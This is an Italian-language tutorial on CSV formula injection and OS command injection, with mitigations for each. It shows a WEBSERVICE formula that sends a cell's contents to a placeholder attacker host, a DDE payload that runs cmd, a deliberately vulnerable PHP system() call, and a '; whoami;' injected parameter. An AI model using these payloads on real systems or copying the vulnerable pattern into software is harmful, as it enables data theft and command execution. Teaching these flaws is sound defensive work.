CSV injection e command injection

CSV injection

La CSV injection, anche nota come formula injection, si verifica quando un'applicazione permette l'utilizzo di input utente non sanificati all'interno di file CSV. Nel momento in cui un programma per fogli di calcolo come Excel o LibreOffice Calc viene utilizzato per aprire un file CSV, tutte le celle che iniziano con il carattere = vengono interpretate come formule. Un attaccante può sfruttare queste formule per diversi scopi, ad esempio

  • Ottenere esecuzione arbitraria di codice sulla macchina target sfruttando delle vulnerabilità del programma per fogli di calcolo.
  • Ottenere esecuzione arbitraria di codice sulla macchina target sfruttando la tendenza dell'utente a ignorare gli avvertimenti di sicurezza del programma al momento dell'apertura di un file CSV malevolo.
  • Esfiltrare il contenuto del foglio di calcolo in cui si ha injection, o di altri fogli di calcolo aperti nel momento di apertura del suddetto.

Questo è un attacco complesso da mitigare, perché richiede una conoscenza più ampia del contesto in cui i dati utente verrano utilizzati.

Esempi

Se si ha la possibilità di scrivere formule all'interno di file CSV che verranno poi aperti dal server, è possibile ottenere SSRF in GET tramite l'utilizzo della formula WEBSERVICE.

Ad esempio iniettando il payload

=WEBSERVICE("http://server-malevolo.com/lk2mbad?leak="&B1) 

è possibile esfiltrare il contenuto di una cella arbitraria del CSV. Con una costruzione simile è possibile esfiltrare il contenuto di più celle sfruttando altre formule come ad esempio CONCATENATE.

Un altro modo di utilizzare una CSV injection consiste nello sfruttare il meccanismo di Dynamic Data Exchange (DDE) implementato da Microsoft su Excel. Tramite il DDE è possibile comunicare con altre parti del sistema e persino lanciare applicazioni da un foglio di calcolo. Ad esempio, con il seguente payload, è possibile eseguire il comando ping da un file CSV, con come unica limitazione la necessità di un input utente che confermi che il foglio utilizzato è fidato.

=cmd|’/C ping -t 172.0.0.1 -l 25152’!’A1'

Mitigazioni

Uno dei modi più sicuri per evitare la presenza di CSV injection è applicare la seguente sanificazione a ogni valore del CSV:

  • prependere al contenuto della cella una virgoletta singole (')
  • circondare il contenuto della cella con doppie virgolette (")
  • effettuare l'escape delle doppie virgolette con altre doppie virgolette (da " a "")
InputInput sanificato
=1+2";=1+2"'=1+2"";=1+2"
=1+2'" ;,=1+2"'=1+2'"" ;,=1+2"

OS Command injection

La command injection è una vulnerabilità che permette a un attaccante di eseguire comandi del sistema operativo, ottenendo esecuzione arbitraria di codice sulla macchina e conseguentemente compromettendo completamente l'applicazione. Questa vulnerabilità si verifica quando un’applicazione web esegue dei comandi nella shell utilizzando degli input non sicuri.

Un esempio molto semplice di command injection in PHP è il seguente:

<?php
    system("ping " . $_GET['host']);
?>

La pagina utilizza il parametro GET host per eseguire il comando ping verso un host fornito dall'utente. Un attaccante potrebbe fornire il parametro host get contenente la stringa 8.8.8.8; whoami; e il comando effettuato diverrebbe quindi:

ping 8.8.8.8; whoami;

In questo modo l'attaccante ha eseguito con successo un comando non previsto dall'applicazione (ovvero il comando whoami). Una volta fatto ciò, un attaccante può aprire un tunnel tcp verso la propria macchina per interagire più comodamente con il server vulnerabile. Questa tecnica è nota come reverse shell.

Mitigazioni

La mitigazione più efficace è evitare di utilizzare input utente in comandi che saranno poi eseguiti da una shell Se è proprio necessario utilizzarli, vanno sanitizzati con le apposite funzioni, ad esempio escapeshellcmd in PHP.